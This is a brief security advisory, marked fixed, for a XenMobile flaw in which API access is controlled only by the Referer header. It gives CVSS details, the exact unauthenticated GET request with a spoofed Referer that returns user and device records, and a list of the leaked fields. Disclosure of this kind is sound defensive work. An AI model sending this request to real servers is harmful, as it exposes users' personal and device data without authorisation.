CVSS Summary
Score | 5 Medium |
---|---|
Vector | Network |
Complexity | Low |
Authentication | None |
Confidentiality | Partial |
Integrity | None |
Availability | None |
Last revised:
Data about users and devices, including email addresses and IMEI identifiers, can be obtained without authentication by making API calls
Current state: Fixed
Score | 5 Medium |
---|---|
Vector | Network |
Complexity | Low |
Authentication | None |
Confidentiality | Partial |
Integrity | None |
Availability | None |
Data about users and devices, including email addresses and IMEI identifiers, can be obtained without authentication by making API calls:
GET /zdm/rs/xdmServices/autoAction/execution/list HTTP/1.1 Host: xenmobile.example.com Referer: https://xenmobile.example.com/zdm/cxf/xdmServices/login.jsp
Xen will return data which includes the following information about each user:
actionData, activationDate, createdDate, deviceId, deviceImei, deviceSerial, id, model, osFamily, provisioningId, status, triggerData, userName
This is possible because Xen Mobile uses the Referer header to control access to the API. However, this value is fully in control of the attacker, so is an ineffective authentication mechanism.